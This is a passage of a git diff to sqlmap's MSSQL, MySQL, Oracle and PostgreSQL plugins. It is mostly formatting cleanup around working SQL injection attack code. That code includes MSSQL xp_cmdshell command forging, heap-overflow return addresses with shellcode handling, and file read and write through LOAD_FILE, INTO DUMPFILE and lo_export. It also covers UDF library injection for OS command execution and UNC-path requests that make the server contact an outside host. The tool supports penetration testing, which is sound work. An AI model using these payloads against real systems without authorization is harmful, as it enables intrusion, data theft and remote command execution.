% tmpPath, + commands = ("cd %s" % tmpPath, copyCmd, - "del /F %s" % chunkName - ) + "del /F %s" % chunkName) complComm = " & ".join(command for command in commands) forgedCmd = self.xpCmdshellForgeCmd(complComm) @@ -576,24 +557,20 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov logger.debug("moving binary file %s to %s" % (sFile, dFile)) - commands = ( - "cd %s" % tmpPath, - "move /Y %s %s" % (dFileName, dFile) - ) + commands = ("cd %s" % tmpPath, + "move /Y %s %s" % (dFileName, dFile)) complComm = " & ".join(command for command in commands) forgedCmd = self.xpCmdshellForgeCmd(complComm) self.execCmd(forgedCmd) - if confirm == True: + if confirm: self.askCheckWrittenFile(wFile, dFile, fileType) - def uncPathRequest(self): #inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) - def spHeapOverflow(self): """ References: @@ -603,19 +580,19 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov returns = { # 2003 Service Pack 0 - "2003-0": ( "" ), + "2003-0": (""), # 2003 Service Pack 1 - "2003-1": ( "CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), + "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), # 2003 Service Pack 2 updated at 12/2008 - #"2003-2": ( "CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), + #"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), # 2003 Service Pack 2 updated at 05/2009 - "2003-2": ( "CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)" ) + "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)") # 2003 Service Pack 2 updated at 09/2009 - #"2003-2": ( "CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)" ), + #"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), } addrs = None @@ -633,7 +610,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP) - raise sqlmapUnsupportedFeatureException, errMsg + raise sqlmapUnsupportedFeatureException(errMsg) shellcodeChar = "" hexStr = binascii.hexlify(self.shellcodeString[:-1]) diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py index 0942b55d9..aa24fc57f 100644 --- a/plugins/dbms/mysql.py +++ b/plugins/dbms/mysql.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import os import re @@ -54,7 +52,6 @@ from plugins.generic.fingerprint import Fingerprint from plugins.generic.misc import Miscellaneous from plugins.generic.takeover import Takeover - class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines MySQL methods @@ -77,7 +74,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): unescaper.setUnescape(MySQLMap.unescape) - @staticmethod def unescape(expression, quote=True): if quote: @@ -111,7 +107,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): return expression - @staticmethod def escape(expression): while True: @@ -135,8 +130,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): expression = expression.replace(old, escaped) return expression - - + def __commentCheck(self): infoMsg = "executing MySQL comment injection fingerprint" logger.info(infoMsg) @@ -146,20 +140,20 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): payload = agent.payload(newValue=query) result = Request.queryPage(payload) - if result != True: + if not result: warnMsg = "unable to perform MySQL comment injection" logger.warn(warnMsg) return None - # MySQL valid versions updated on 05/2009 + # MySQL valid versions updated on 12/2009 versions = ( (32200, 32233), # MySQL 3.22 (32300, 32359), # MySQL 3.23 (40000, 40031), # MySQL 4.0 (40100, 40122), # MySQL 4.1 - (50000, 50077), # MySQL 5.0 - (50100, 50134), # MySQL 5.1 + (50000, 50089), # MySQL 5.0 + (50100, 50141), # MySQL 5.1 (50400, 50401), # MySQL 5.4 (60000, 60010), # MySQL 6.0 ) @@ -175,7 +169,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): payload = agent.payload(newValue=query) result = Request.queryPage(payload) - if result == True: + if result: if not prevVer: prevVer = version @@ -192,7 +186,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): return None - def getFingerprint(self): value = "" wsOsFp = formatFingerprint("web server", kb.headersFp) @@ -237,7 +230,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): return value - def checkDbms(self): """ References for fingerprint: @@ -266,14 +258,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()") result = Request.queryPage(payload) - if result == True: + if result: infoMsg = "confirming MySQL" logger.info(infoMsg) payload = agent.fullPayload(" AND ISNULL(1/0)") result = Request.queryPage(payload) - if result != True: + if not result: warnMsg = "the back-end DMBS is not MySQL" logger.warn(warnMsg) @@ -352,8 +344,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): logger.warn(warnMsg) return False - - + def checkDbmsOs(self, detailed=False): if kb.os: return @@ -361,7 +352,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) - self.createSupportTbl(self.fileTblName, self.tblField, "text") + self.createSupportTbl(self.fileTblName, self.tblField, "text") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False) @@ -375,8 +366,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): logger.info(infoMsg) self.cleanup(onlyFileTbl=True) - - + def unionReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) @@ -384,13 +374,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile) return result - - + def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) - self.createSupportTbl(self.fileTblName, self.tblField, "longtext") + self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True)) @@ -426,8 +415,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3) return result - - + def unionWriteFile(self, wFile, dFile, fileType, confirm=True): logger.debug("encoding file to its hexadecimal string value") @@ -455,18 +443,17 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): conf.paramFalseCond = oldParamFalseCond - if confirm == True: + if confirm: self.askCheckWrittenFile(wFile, dFile, fileType) - - + def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" - logger.debug(debugMsg) + logger.debug(debugMsg) - self.createSupportTbl(self.fileTblName, self.tblField, "longblob") + self.createSupportTbl(self.fileTblName, self.tblField, "longblob") - logger.debug("encoding file to its hexadecimal string value") + logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", False) debugMsg = "forging SQL statements to write the hexadecimal " @@ -476,7 +463,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): sqlQueries = self.fileToSqlQueries(fcEncodedList) logger.debug("inserting the hexadecimal encoded file to the support table") - + for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) @@ -486,51 +473,50 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) - if confirm == True: + if confirm: self.askCheckWrittenFile(wFile, dFile, fileType) - - + def udfSetRemotePath(self): self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] - # On Windows + # On Windows if kb.os == "Windows": - # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 + # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 if banVer >= "5.1.19": if self.__basedir is None: - logger.info("retrieving MySQL base directory absolute path") + logger.info("retrieving MySQL base directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir self.__basedir = inject.getValue("SELECT @@basedir") self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/")) if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I): - kb.os = "Windows" + kb.os = "Windows" - # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin + # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt) - logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir) + logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir) # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file - # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file + # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: - #logger.debug("retrieving MySQL data directory absolute path") + #logger.debug("retrieving MySQL data directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir #self.__datadir = inject.getValue("SELECT @@datadir") # NOTE: specifying the relative path as './udf.dll' # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 - self.__datadir = "." + self.__datadir = "." self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/")) if re.search("[\w]\:\/", self.__datadir, re.I): - kb.os = "Windows" + kb.os = "Windows" - # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, + # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, # C:\WINDOWS\system32, @@basedir\bin or @@datadir self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt) @@ -539,25 +525,22 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): # The SO can be in either /lib, /usr/lib or one of the # paths specified in /etc/ld.so.conf file, none of these # paths are writable by mysql user by default - # TODO: test with plugins folder on MySQL >= 5.1.19 self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) - - + def udfCreateFromSharedLib(self, udf, inpRet): - if udf in self.udfToCreate: + if udf in self.udfToCreate: logger.info("creating UDF '%s' from the binary UDF file" % udf) ret = inpRet["return"] # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html inject.goStacked("DROP FUNCTION %s" % udf) - inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt)) + inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt)) self.createdUdf.add(udf) else: logger.debug("keeping existing UDF '%s' as requested" % udf) - - + def udfInjectCmd(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) @@ -571,10 +554,9 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): self.udfInjectCore(self.sysUdfs) self.envInitialized = True - - + def uncPathRequest(self): - if kb.stackedTest == False: + if not kb.stackedTest: query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) diff --git a/plugins/dbms/oracle.py b/plugins/dbms/oracle.py index 14a7c2e56..7190ad512 100644 --- a/plugins/dbms/oracle.py +++ b/plugins/dbms/oracle.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import re from lib.core.agent import agent @@ -48,13 +46,11 @@ from plugins.generic.fingerprint import Fingerprint from plugins.generic.misc import Miscellaneous from plugins.generic.takeover import Takeover - class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Oracle methods """ - def __init__(self): self.excludeDbsList = ORACLE_SYSTEM_DBS @@ -64,7 +60,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): unescaper.setUnescape(OracleMap.unescape) - @staticmethod def unescape(expression, quote=True): if quote: @@ -96,7 +91,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): return expression - @staticmethod def escape(expression): while True: @@ -121,7 +115,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): return expression - def getFingerprint(self): value = "" wsOsFp = formatFingerprint("web server", kb.headersFp) @@ -157,7 +150,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): return value - def checkDbms(self): if conf.dbms in ORACLE_ALIASES: setDbms("Oracle") @@ -173,14 +165,14 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): payload = agent.fullPayload(" AND ROWNUM=ROWNUM") result = Request.queryPage(payload) - if result == True: + if result: logMsg = "confirming Oracle" logger.info(logMsg) payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)") result = Request.queryPage(payload) - if result != True: + if not result: warnMsg = "the back-end DMBS is not Oracle" logger.warn(warnMsg) @@ -212,7 +204,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): return False - def forceDbmsEnum(self): if conf.db: conf.db = conf.db.upper() @@ -228,44 +219,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): if conf.tbl: conf.tbl = conf.tbl.upper() - def getDbs(self): warnMsg = "on Oracle it is not possible to enumerate databases" logger.warn(warnMsg) return [] - def readFile(self, rFile): errMsg = "File system read access not yet implemented for " errMsg += "Oracle" raise sqlmapUnsupportedFeatureException, errMsg - def writeFile(self, wFile, dFile, fileType=None, confirm=True): errMsg = "File system write access not yet implemented for " errMsg += "Oracle" raise sqlmapUnsupportedFeatureException, errMsg - def osCmd(self): errMsg = "Operating system command execution functionality not " errMsg += "yet implemented for Oracle" raise sqlmapUnsupportedFeatureException, errMsg - def osShell(self): errMsg = "Operating system shell functionality not yet " errMsg += "implemented for Oracle" raise sqlmapUnsupportedFeatureException, errMsg - def osPwn(self): errMsg = "Operating system out-of-band control functionality " errMsg += "not yet implemented for Oracle" raise sqlmapUnsupportedFeatureException, errMsg - def osSmb(self): errMsg = "One click operating system out-of-band control " errMsg += "functionality not yet implemented for Oracle" diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py index ee86ae0b3..977aa088e 100644 --- a/plugins/dbms/postgresql.py +++ b/plugins/dbms/postgresql.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import os import re @@ -84,7 +82,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove unescaper.setUnescape(PostgreSQLMap.unescape) - @staticmethod def unescape(expression, quote=True): if quote: @@ -116,7 +113,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove return expression - @staticmethod def escape(expression): while True: @@ -141,7 +137,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove return expression - def getFingerprint(self): value = "" wsOsFp = formatFingerprint("web server", kb.headersFp) @@ -177,7 +172,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove return value - def checkDbms(self): """ Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html @@ -199,14 +193,14 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt)) result = Request.queryPage(payload) - if result == True: + if result: infoMsg = "confirming PostgreSQL" logger.info(infoMsg) payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt)) result = Request.queryPage(payload) - if result != True: + if not result: warnMsg = "the back-end DMBS is not PostgreSQL" logger.warn(warnMsg) @@ -258,7 +252,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove return False - def checkDbmsOs(self, detailed=False): if kb.os: return @@ -266,7 +259,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) - self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)") + self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) # Windows executables should always have ' Visual C++' or ' mingw' @@ -283,7 +276,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove break - if kb.os == None: + if kb.os is None: kb.os = "Linux" infoMsg = "the back-end DBMS operating system is %s" % kb.os @@ -291,7 +284,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove self.cleanup(onlyFileTbl=True) - def forceDbmsEnum(self): if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public": conf.db = "public" @@ -302,13 +294,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove warnMsg += "database name" logger.warn(warnMsg) - def unionReadFile(self, rFile): errMsg = "PostgreSQL does not support file reading with UNION " errMsg += "query SQL injection technique" raise sqlmapUnsupportedFeatureException, errMsg - def stackedReadFile(self, rFile): warnMsg = "binary file read on PostgreSQL is not yet supported, " warnMsg += "if the requested file is binary, its content will not " @@ -320,10 +310,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove result = [] - self.createSupportTbl(self.fileTblName, self.tblField, "bytea") + self.createSupportTbl(self.fileTblName, self.tblField, "bytea") logger.debug("loading the content of file '%s' into support table" % rFile) - inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile)) + inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile)) if kb.unionPosition: result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False) @@ -345,13 +335,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove return result - def unionWriteFile(self, wFile, dFile, fileType, confirm=True): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" raise sqlmapUnsupportedFeatureException, errMsg - def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): wFileSize = os.path.getsize(wFile) @@ -364,11 +352,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove debugMsg = "creating a support table to write the base64 " debugMsg += "encoded file to" - logger.debug(debugMsg) + logger.debug(debugMsg) - self.createSupportTbl(self.fileTblName, self.tblField, "text") + self.createSupportTbl(self.fileTblName, self.tblField, "text") - logger.debug("encoding file to its base64 string value") + logger.debug("encoding file to its base64 string value") fcEncodedList = self.fileEncode(wFile, "base64", False) debugMsg = "forging SQL statements to write the base64 " @@ -378,7 +366,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove sqlQueries = self.fileToSqlQueries(fcEncodedList) logger.debug("inserting the base64 encoded file to the support table") - + for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) @@ -388,9 +376,9 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove # References: # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html - # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html - inject.goStacked("SELECT lo_unlink(%d)" % self.oid) - inject.goStacked("SELECT lo_create(%d)" % self.oid) + # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html + inject.goStacked("SELECT lo_unlink(%d)" % self.oid) + inject.goStacked("SELECT lo_create(%d)" % self.oid) debugMsg = "updating the system large objects table assigning to " debugMsg += "the just created OID the binary (base64 decoded) UDF " @@ -409,7 +397,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove # # As a matter of facts it was possible to store correctly a file # large 13776 bytes, the problem arises at next step (lo_export()) - inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) + inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) debugMsg = "exporting the OID %s file content to " % fileType debugMsg += "file '%s'" % dFile @@ -419,14 +407,13 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove # (pg_largeobject 'data' field) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) - if confirm == True: + if confirm: self.askCheckWrittenFile(wFile, dFile, fileType) - inject.goStacked("SELECT lo_unlink(%d)" % self.oid) - + inject.goStacked("SELECT lo_unlink(%d)" % self.oid) def udfSetRemotePath(self): - # On Windows + # On Windows if kb.os == "Windows": # The DLL can be in any folder where postgres user has # read/write/execute access is valid @@ -441,23 +428,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove # read/write/execute access is valid self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) - def udfCreateFromSharedLib(self, udf, inpRet): - if udf in self.udfToCreate: + if udf in self.udfToCreate: logger.info("creating UDF '%s' from the binary UDF file" % udf) inp = ", ".join(i for i in inpRet["input"]) ret = inpRet["return"] # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html - inject.goStacked("DROP FUNCTION %s" % udf) - inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) + inject.goStacked("DROP FUNCTION %s" % udf) + inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) self.createdUdf.add(udf) else: logger.debug("keeping existing UDF '%s' as requested" % udf) - def udfInjectCmd(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) @@ -481,8 +466,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove self.udfInjectCore(self.sysUdfs) self.envInitialized = True - def uncPathRequest(self): - self.createSupportTbl(self.fileTblName, self.tblField, "text") + self.createSupportTbl(self.fileTblName, self.tblField, "text") inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) self.cleanup(onlyFileTbl=True) diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index 20c840953..7f4ff1d41 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ - - import re from lib.core.agent import agent @@ -49,7 +47,6 @@ from lib.request import inject from lib.techniques.inband.union.test import unionTest from lib.techniques.outband.stacked import stackedTest - class Enumeration: """ This class defines generic enumeration functionalities for plugins. @@ -71,11 +68,9 @@ class Enumeration: temp.inference = queries[dbms].inference - def forceDbmsEnum(self): pass - def getVersionFromBanner(self): if "dbmsVersion" in 